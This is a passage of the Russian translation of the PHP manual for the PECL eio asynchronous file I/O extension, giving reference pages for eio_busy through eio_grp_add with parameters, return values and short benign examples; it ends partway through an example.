  • eio_nreqs — Возвращает число запросов, которые предстоит выполнить
  • eio_nthreads — Возвращает количество используемых в данный момент потоков
  • eio_open — Открывает файл
  • eio_poll — Может быть вызвана когда имеются запросы, ожидающие выполнения
  • eio_read — Читает данные из файла, начиная с заданного смещения
  • eio_readahead — Помещает данные из файла в кеш страницы
  • eio_readdir — Читает содержимое директории
  • eio_readlink — Читает значение символической ссылки
  • eio_realpath — Получает абсолютный приведённый к каноническому виду путь
  • eio_rename — Изменяет имя или перемещает файл
  • eio_rmdir — Удаляет директорию
  • eio_seek — Перемещает файловый указатель файла fd на число байт offset в соответствии с директивой whence
  • eio_sendfile — Перемещает данные между файлами
  • eio_set_max_idle — Устанавливает максимальное количество ожидающих потоков
  • eio_set_max_parallel — Устанавливает максимальное количество параллельных потоков
  • eio_set_max_poll_reqs — Устанавливает максимальное количество обрабатываемых запросов
  • eio_set_max_poll_time — Устанавливает максимальное время выполнения
  • eio_set_min_parallel — Устанавливает минимальное количество параллельных потоков
  • eio_stat — Возвращает статус файла
  • eio_statvfs — Возвращает статистику файловой системы
  • eio_symlink — Создаёт символическую ссылку
  • eio_sync_file_range — Синхронизирует сегмент файла с данными файла на внешнем хранилище
  • eio_sync — Записывает кеш из буфера на диск
  • eio_syncfs — Вызывает системный syncfs в Linux, если это доступно
  • eio_truncate — Урезает размер файла
  • eio_unlink — Удаляет файл или одну из жёстких ссылок на него
  • eio_utime — Изменяет дату и время последней модификации и доступа к файлу
  • eio_write — Запись в файл

User Contributed Notes

There are no user contributed notes for this page.


Искусственно увеличивает нагрузку. Может быть полезно при тестировании, изучении производительности

  • « Eio Функции
  • eio_cancel »
  • PHP Manual
  • Eio Функции
  • Искусственно увеличивает нагрузку. Может быть полезно при тестировании, изучении производительности

eio_busy

(PECL eio >= 0.0.1dev)

eio_busy — Искусственно увеличивает нагрузку. Может быть полезно при тестировании, изучении производительности

Описание

eio_busy(
int $delay,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

Функция eio_busy() искусственно увеличивает нагрузку, добавляя delay секунд к времени исполнения. Полезно при отладке и тестировании производительности.

Список параметров

delay

Задержка в секундах

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Callback-функция, исполняемая когда все запросы группы будут выполнены.

data

Произвольная переменная, передаваемая в callback-функцию.

Возвращаемые значения

eio_busy() возвращает запрос типа resource в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • eio_nop() - Проход по циклу запроса, не совершая никаких операций

User Contributed Notes

There are no user contributed notes for this page.


Отменяет запрос

  • « eio_busy
  • eio_chmod »
  • PHP Manual
  • Eio Функции
  • Отменяет запрос

eio_cancel

(PECL eio >= 0.0.1dev)

eio_cancel — Отменяет запрос

Описание

eio_cancel(resource $req): void

eio_cancel() отменяет запрос, определённый в req

Список параметров

req

Ресурс запроса

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Произвольная переменная, передаваемая в callback-функцию.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 eio_cancel() example

<?php
/* Вызывается при завершении eio_nop() */
function my_nop_cb($data, $result) {
echo "my_nop ", $data, "\n";
}

// Этот вызов eio_nop() будет отменён
$req = eio_nop(EIO_PRI_DEFAULT, "my_nop_cb", "1");
var_dump($req);
eio_cancel($req);

// Этот eio_nop() будет выполнен
eio_nop(EIO_PRI_DEFAULT, "my_nop_cb", "2");

// Выполнение запросов
eio_event_loop();
?>

Результатом выполнения данного примера будет что-то подобное:

resource(4) of type (EIO Request Descriptor)
my_nop 2

Смотрите также

  • eio_grp_cancel() - Отменяет группу запросов

User Contributed Notes

There are no user contributed notes for this page.


Изменяет права доступа к файлу/директории

  • « eio_cancel
  • eio_chown »
  • PHP Manual
  • Eio Функции
  • Изменяет права доступа к файлу/директории

eio_chmod

(PECL eio >= 0.0.1dev)

eio_chmod — Изменяет права доступа к файлу/директории

Описание

eio_chmod(
string $path,
int $mode,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_chmod() изменяет права доступа к файлу/директории. Новые права доступа указываются в параметре mode.

Список параметров

path

Путь к файлу или директории

Внимание

Избегайте относительных путей

mode

Новые права доступа. Например, 0644.

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Произвольная переменная, передаваемая в callback-функцию.

Возвращаемые значения

eio_chmod() возвращает указатель на запрос в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • eio_chown() - Изменяет права доступа к файлу/директории

User Contributed Notes

There are no user contributed notes for this page.


Изменяет права доступа к файлу/директории

  • « eio_chmod
  • eio_close »
  • PHP Manual
  • Eio Функции
  • Изменяет права доступа к файлу/директории

eio_chown

(PECL eio >= 0.0.1dev)

eio_chown — Изменяет права доступа к файлу/директории

Описание

eio_chown(
string $path,
int $uid,
int $gid = -1,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

Изменяет права доступа к файлу/директории.

Список параметров

path

Путь к файлу или директории.

Внимание

Избегайте относительных путей

uid

Код пользователя. Игнорируется при значении, равном -1.

gid

Код группы. Игнорируется при значении, равном -1.

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Произвольная переменная, передаваемая в callback-функцию.

Возвращаемые значения

eio_chown() возвращает указатель на запрос в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • eio_chmod() - Изменяет права доступа к файлу/директории

User Contributed Notes

There are no user contributed notes for this page.


Закрыть файл

  • « eio_chown
  • eio_custom »
  • PHP Manual
  • Eio Функции
  • Закрыть файл

eio_close

(PECL eio >= 0.0.1dev)

eio_close — Закрыть файл

Описание

eio_close(
mixed $fd,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_close() закрывает файл, указанный в fd.

Список параметров

fd

Поток, указатель на сокет (Socket resource), или числовой дескриптор файла

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Произвольная переменная, передаваемая в callback-функцию.

Возвращаемые значения

eio_close() возвращает указатель на запрос в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • eio_open() - Открывает файл

User Contributed Notes

There are no user contributed notes for this page.


Выполняет пользовательский запрос как любой другой eio_* вызов

  • « eio_close
  • eio_dup2 »
  • PHP Manual
  • Eio Функции
  • Выполняет пользовательский запрос как любой другой eio_* вызов

eio_custom

(PECL eio >= 0.0.1dev)

eio_custom — Выполняет пользовательский запрос как любой другой eio_* вызов

Описание

eio_custom(
callable $execute,
int $pri,
callable $callback,
mixed $data = NULL
): resource

eio_custom() выполняет пользовательскую функцию, определённую в параметре execute как любой другой вызов запросов eio_*.

Список параметров

execute

Указывается функция, соответствующая нижеприведённому прототипу:

      mixed execute(mixed data);
Параметр callback содержит callback-функцию, исполняющуюся по завершении выполнения запроса. Функция должна соответствовать прототипу:
      void callback(mixed data, mixed result);
data - данные, передаваемые в функцию, указанную в execute через аргумент data, без каких-либо изменений. result - значение, возвращаемое функцией в параметре execute

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Произвольная переменная, передаваемая в callback-функцию.

Возвращаемые значения

eio_custom() возвращает указатель на запрос в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования eio_custom()

<?php
/* Пользовательская callback-функция */
function my_custom_callback($data, $result) {
var_dump($data);
var_dump(count($result));
var_dump($result['data_modified']);
var_dump($result['result']);
}

/* Пользовательский запрос */
function my_custom($data) {
var_dump($data);

$result = array(
'result' => 1001,
'data_modified' => "my custom data",
);

return $result;
}

$data = "my_custom_data";
$req = eio_custom("my_custom", EIO_PRI_DEFAULT, "my_custom_callback", $data);
var_dump($req);
eio_event_loop();
?>

Результатом выполнения данного примера будет что-то подобное:

resource(4) of type (EIO Request Descriptor)
string(14) "my_custom_data"
string(14) "my_custom_data"
int(2)
string(14) "my custom data"
int(1001)

User Contributed Notes

There are no user contributed notes for this page.


Создаёт дубликат дескриптора файла

  • « eio_custom
  • eio_event_loop »
  • PHP Manual
  • Eio Функции
  • Создаёт дубликат дескриптора файла

eio_dup2

(PECL eio >= 0.0.1dev)

eio_dup2 — Создаёт дубликат дескриптора файла

Описание

eio_dup2(
mixed $fd,
mixed $fd2,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_dup2() создаёт дубликат дескриптора файла.

Список параметров

fd

Исходный поток, указатель на сокет (Socket resource), или нумерованный дескриптор файла

fd2

Целевой поток, указатель на сокет (Socket resource), или нумерованный дескриптор файла

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Произвольная переменная, передаваемая в callback-функцию.

Возвращаемые значения

eio_dup2() возвращает указатель на запрос в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Взаимодействует с libeio до тех пор, пока все запросы не будут выполнены

  • « eio_dup2
  • eio_fallocate »
  • PHP Manual
  • Eio Функции
  • Взаимодействует с libeio до тех пор, пока все запросы не будут выполнены

eio_event_loop

(PECL eio >= 0.0.1dev)

eio_event_loop — Взаимодействует с libeio до тех пор, пока все запросы не будут выполнены

Описание

eio_event_loop(): bool

eio_event_loop() взаимодействует с libeio до тех пор, пока все запросы не будут выполнены.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

eio_event_loop() возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования eio_event_loop()

<?php
$temp_filename = "eio-temp-file.tmp";
touch($temp_filename);

/* Вызывается после выполнения eio_chmod() */
function my_chmod_callback($data, $result) {
global $temp_filename;

if ($result == 0 && !is_readable($temp_filename) && is_writable($temp_filename)) {
echo "eio_chmod_ok";
}

@unlink($temp_filename);
}

eio_chmod($temp_filename, 0200, EIO_PRI_DEFAULT, "my_chmod_callback");
eio_event_loop();
?>

Результатом выполнения данного примера будет что-то подобное:

eio_chmod_ok

Смотрите также

  • eio_poll() - Может быть вызвана когда имеются запросы, ожидающие выполнения

User Contributed Notes

There are no user contributed notes for this page.


Позволяет напрямую управлять размером используемого дискового пространства для файла

  • « eio_event_loop
  • eio_fchmod »
  • PHP Manual
  • Eio Функции
  • Позволяет напрямую управлять размером используемого дискового пространства для файла

eio_fallocate

(PECL eio >= 0.0.1dev)

eio_fallocate — Позволяет напрямую управлять размером используемого дискового пространства для файла

Описание

eio_fallocate(
mixed $fd,
int $mode,
int $offset,
int $length,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_fallocate() позволяет напрямую управлять размером используемого дискового пространства для файла. Дескриптор файла указывается в параметре fd, размер определяется диапазоном в байтах, начиная от смещения offset и до length.

Замечание: Файл должен быть открытым для записи

EIO_O_CREAT OR (одна из констант EIO_O_WRONLY, EIO_O_RDWR

Список параметров

fd

Поток, указатель на сокет, или числовой дескриптор файла, например возвращённый eio_open().

mode

Доступен только один флаг: EIO_FALLOC_FL_KEEP_SIZE (то же самое, что FALLOC_FL_KEEP_SIZE в POSIX).

offset

Определяет смещение диапазона в байтах.

length

Определяет размер диапазона.

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Произвольная переменная, передаваемая в callback-функцию.

Возвращаемые значения

eio_fallocate() возвращает указатель на запрос в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Изменяет права доступа к файлу

  • « eio_fallocate
  • eio_fchown »
  • PHP Manual
  • Eio Функции
  • Изменяет права доступа к файлу

eio_fchmod

(PECL eio >= 0.0.1dev)

eio_fchmod — Изменяет права доступа к файлу

Описание

eio_fchmod(
mixed $fd,
int $mode,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_fchmod() изменяет права доступа к файлу, дескриптор которого указан в fd.

Список параметров

fd

Поток, указатель на сокет, или числовой дескриптор файла, например, возвращённый eio_open().

mode

Новые права доступа. Например, 0644.

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Произвольная переменная, передаваемая в callback-функцию.

Возвращаемые значения

eio_fchmod() возвращает указатель на запрос в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • eio_fchown() - Изменяет владельца файла

User Contributed Notes

There are no user contributed notes for this page.


Изменяет владельца файла

  • « eio_fchmod
  • eio_fdatasync »
  • PHP Manual
  • Eio Функции
  • Изменяет владельца файла

eio_fchown

(PECL eio >= 0.0.1dev)

eio_fchown — Изменяет владельца файла

Описание

eio_fchown(
mixed $fd,
int $uid,
int $gid = -1,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_fchown() изменяет владельца файла, дескриптор которого указан в fd.

Список параметров

fd

Поток, указатель на сокет, или числовой дескриптор файла.

uid

Код пользователя. Игнорируется при значении, равном -1.

gid

Код группы. Игнорируется при значении, равном -1.

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Произвольная переменная, передаваемая в callback-функцию.

Возвращаемые значения

eio_chmod() возвращает указатель на запрос в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • eio_fchmod() - Изменяет права доступа к файлу

User Contributed Notes

There are no user contributed notes for this page.


Синхронизирует текущее состояние файла с физическим устройством

  • « eio_fchown
  • eio_fstat »
  • PHP Manual
  • Eio Функции
  • Синхронизирует текущее состояние файла с физическим устройством

eio_fdatasync

(PECL eio >= 0.0.1dev)

eio_fdatasync — Синхронизирует текущее состояние файла с физическим устройством

Описание

eio_fdatasync(
mixed $fd,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_fdatasync() синхронизирует текущее состояние файла с физическим устройством.

Список параметров

fd

Поток, указатель на сокет, или числовой дескриптор файла, например, возвращённый eio_open().

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Произвольная переменная, передаваемая в callback-функцию.

Возвращаемые значения

eio_fdatasync() возвращает указатель на запрос в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Возвращает статус файла

  • « eio_fdatasync
  • eio_fstatvfs »
  • PHP Manual
  • Eio Функции
  • Возвращает статус файла

eio_fstat

(PECL eio >= 0.0.1dev)

eio_fstat — Возвращает статус файла

Описание

eio_fstat(
mixed $fd,
int $pri,
callable $callback,
mixed $data = ?
): resource

eio_fstat() возвращает информацию о состоянии файла в result аргументе callback

Список параметров

fd

Поток, указатель на сокет, или числовой дескриптор файла.

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Произвольная переменная, передаваемая в callback-функцию.

Возвращаемые значения

eio_busy() возвращает указатель на запрос в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования eio_lstat()

<?php
// Создание временного файла
$tmp_filename = dirname(__FILE__) ."/eio-file.tmp";
touch($tmp_filename);

/* Вызывается после завершения eio_fstat() */
function my_res_cb($data, $result) {
// Выводит массив с информацией о состоянии файла
var_dump($result);

if ($data['fd']) {
// Закрывает временный файл
eio_close($data['fd']);
eio_event_loop();
}
// Удаляет временный файл
@unlink($data['file']);
}

/* Вызывается после завершения eio_open() */
function my_open_cb($data, $result) {
// Подготовка данных для callback
$d = array(
'fd' => $result,
'file'=> $data
);
// Получение информации о файле
eio_fstat($result, EIO_PRI_DEFAULT, "my_res_cb", $d);
// Выполнение запросов
eio_event_loop();
}

// Открытие временного файла
eio_open($tmp_filename, EIO_O_RDONLY, NULL, EIO_PRI_DEFAULT,
"my_open_cb", $tmp_filename);
eio_event_loop();
?>

Результатом выполнения данного примера будет что-то подобное:

array(12) {
 ["st_dev"]=>
  int(2050)
  ["st_ino"]=>
  int(2489159)
  ["st_mode"]=>
  int(33188)
  ["st_nlink"]=>
  int(1)
  ["st_uid"]=>
  int(1000)
  ["st_gid"]=>
  int(100)
  ["st_rdev"]=>
  int(0)
  ["st_blksize"]=>
  int(4096)
  ["st_blocks"]=>
  int(0)
  ["st_atime"]=>
  int(1318239506)
  ["st_mtime"]=>
  int(1318239506)
  ["st_ctime"]=>
  int(1318239506)
}

Смотрите также

  • eio_lstat() - Возвращает статус файла
  • eio_stat() - Возвращает статус файла

User Contributed Notes

There are no user contributed notes for this page.


Возвращает статистику файловой системы

  • « eio_fstat
  • eio_fsync »
  • PHP Manual
  • Eio Функции
  • Возвращает статистику файловой системы

eio_fstatvfs

(PECL eio >= 0.0.1dev)

eio_fstatvfs — Возвращает статистику файловой системы

Описание

eio_fstatvfs(
mixed $fd,
int $pri,
callable $callback,
mixed $data = ?
): resource

eio_fstatvfs() возвращает статистику файловой системы в result аргумент callback.

Список параметров

fd

Файловый дескриптор файла примонтированной файловой системы.

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Произвольная переменная, передаваемая в callback-функцию.

Возвращаемые значения

eio_fstatvfs() возвращает указатель на запрос в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • eio_statvfs() - Возвращает статистику файловой системы

User Contributed Notes

There are no user contributed notes for this page.


Синхронизирует текущее состояние файла с физическим устройством

  • « eio_fstatvfs
  • eio_ftruncate »
  • PHP Manual
  • Eio Функции
  • Синхронизирует текущее состояние файла с физическим устройством

eio_fsync

(PECL eio >= 0.0.1dev)

eio_fsync — Синхронизирует текущее состояние файла с физическим устройством

Описание

eio_fsync(
mixed $fd,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

Синхронизирует текущее состояние файла с физическим устройством.

Список параметров

fd

Поток, указатель на сокет, или числовой дескриптор файла.

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Произвольная переменная, передаваемая в callback-функцию.

Возвращаемые значения

eio_fsync() возвращает указатель на запрос в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • eio_sync() - Записывает кеш из буфера на диск

User Contributed Notes

There are no user contributed notes for this page.


Урезает размер файла

  • « eio_fsync
  • eio_futime »
  • PHP Manual
  • Eio Функции
  • Урезает размер файла

eio_ftruncate

(PECL eio >= 0.0.1dev)

eio_ftruncate — Урезает размер файла

Описание

eio_ftruncate(
mixed $fd,
int $offset = 0,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_ftruncate() урезает файл, дескриптор которого указан в параметре fd точно до length байт.

Список параметров

fd

Поток, указатель на сокет, или числовой дескриптор файла.

offset

Смещение от начала файла

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Произвольная переменная, передаваемая в callback-функцию.

Возвращаемые значения

eio_ftruncate() возвращает указатель на запрос в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • eio_truncate() - Урезает размер файла

User Contributed Notes

There are no user contributed notes for this page.


Изменяет дату и время последней модификации и доступа к файлу

  • « eio_ftruncate
  • eio_get_event_stream »
  • PHP Manual
  • Eio Функции
  • Изменяет дату и время последней модификации и доступа к файлу

eio_futime

(PECL eio >= 0.0.1dev)

eio_futime — Изменяет дату и время последней модификации и доступа к файлу

Описание

eio_futime(
mixed $fd,
float $atime,
float $mtime,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_futime() изменяет дату и время последней модификации и доступа к файлу.

Список параметров

fd

Поток, указатель на сокет, или числовой дескриптор файла, возвращённый, к примеру, eio_open()

atime

Время последнего доступа

mtime

Время последнего изменения

pri

Приоритет запросов: EIO_PRI_DEFAULT, EIO_PRI_MIN, EIO_PRI_MAX, или null. Если передан null, то pri устанавливается в EIO_PRI_DEFAULT.

callback

Функция callback вызывается при завершении запроса. Она должна удовлетворять следующему прототипу:

void callback(mixed $data, int $result[, resource $req]);
data

является пользовательскими данными, переданными в запросе.

result

содержит результирующее значение, зависящее от запроса; обычно это значение, возвращаемое соответствующим системным вызовом.

req

является опциональным запрашиваемым ресурсом, который может использоваться с такими функциями как eio_get_last_error()

data

Произвольная переменная, передаваемая в callback-функцию.

Возвращаемые значения

eio_futime() возвращает указатель на запрос в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • eio_utime() - Изменяет дату и время последней модификации и доступа к файлу

User Contributed Notes

There are no user contributed notes for this page.


Возвращает поток, отражающий переменную, используемую при взаимодействии с libeio

  • « eio_futime
  • eio_get_last_error »
  • PHP Manual
  • Eio Функции
  • Возвращает поток, отражающий переменную, используемую при взаимодействии с libeio

eio_get_event_stream

(PECL eio >= 0.3.1b)

eio_get_event_stream — Возвращает поток, отражающий переменную, используемую при взаимодействии с libeio

Описание

eio_get_event_stream(): mixed

eio_get_event_stream() получает поток, отражающий переменную, используемую при взаимодействии с libeio. Может быть использовано для привязки некоторого цикла обработки, поставляемого другим модулем PECL, например, libevent.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

eio_get_event_stream() возвращает поток в случае успешного выполнения или null в случае возникновения ошибки.

Примеры

Пример #1 Использование eio совместно с libevent

<?php
function my_eio_poll($fd, $events, $arg) {
/* Некоторые действия с libevent могут быть здесь */
if (eio_nreqs()) {
eio_poll();
}
/* .. и здесь */
}

function my_res_cb($d, $r) {
var_dump($r); var_dump($d);
}

$base = event_base_new();
$event = event_new();

$fd = eio_get_event_stream();
var_dump($fd);

eio_nop(EIO_PRI_DEFAULT, "my_res_cb", "nop data");
eio_mkdir("/tmp/abc-eio-temp", 0750, EIO_PRI_DEFAULT, "my_res_cb", "mkdir data");
/* Прочие eio_* запросы ... */

// Установка флагов события
event_set($event, $fd, EV_READ /*| EV_PERSIST*/, "my_eio_poll", array($event, $base));

// Установка основы события
event_base_set($event, $base);

// Включение события
event_add($event);

// Запуск цикла обработки
event_base_loop($base);

/* То же самое доступно через интерфейс буфера libevent */
?>

Результатом выполнения данного примера будет что-то подобное:

int(3)
int(0)
string(8) "nop data"
int(0)
string(10) "mkdir data"

User Contributed Notes

There are no user contributed notes for this page.


Возвращает последнюю ошибку, связанную с указателем на ресурс

  • « eio_get_event_stream
  • eio_grp_add »
  • PHP Manual
  • Eio Функции
  • Возвращает последнюю ошибку, связанную с указателем на ресурс

eio_get_last_error

(PECL eio >= 1.0.0)

eio_get_last_error — Возвращает последнюю ошибку, связанную с указателем на ресурс

Описание

eio_get_last_error(resource $req): string

eio_get_last_error() возвращает последнюю ошибку, связанную с указателем на ресурс req.

Список параметров

req

Указатель на ресурс

Возвращаемые значения

eio_get_last_error() возвращает строку, содержащую последнюю ошибку, связанную с указателем на ресурс req.

Внимание

Эта функция является ЭКСПЕРИМЕНТАЛЬНОЙ. Поведение этой функции, её имя и относящаяся к ней документация могут измениться в последующих версиях PHP без уведомления. Используйте эту функцию на свой страх и риск.

User Contributed Notes

There are no user contributed notes for this page.


Добавляет запрос в группу запросов

  • « eio_get_last_error
  • eio_grp_cancel »
  • PHP Manual
  • Eio Функции
  • Добавляет запрос в группу запросов

eio_grp_add

(PECL eio >= 0.0.1dev)

eio_grp_add — Добавляет запрос в группу запросов

Описание

eio_grp_add(resource $grp, resource $req): void

eio_grp_add() добавляет запрос в группу запросов.

Список параметров

grp

Указатель на группу запросов, возвращённый eio_grp()

req

Указатель на ресурс

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Создание группы запросов

<?php
/*
* Создание группы запросов для открытия, чтения и закрытия файла
*/

//Создание временного файла и запись в него нескольких байт
$temp_filename = dirname(__FILE__) ."/eio-file.tmp";
$fp = fopen($temp_filename, "w");
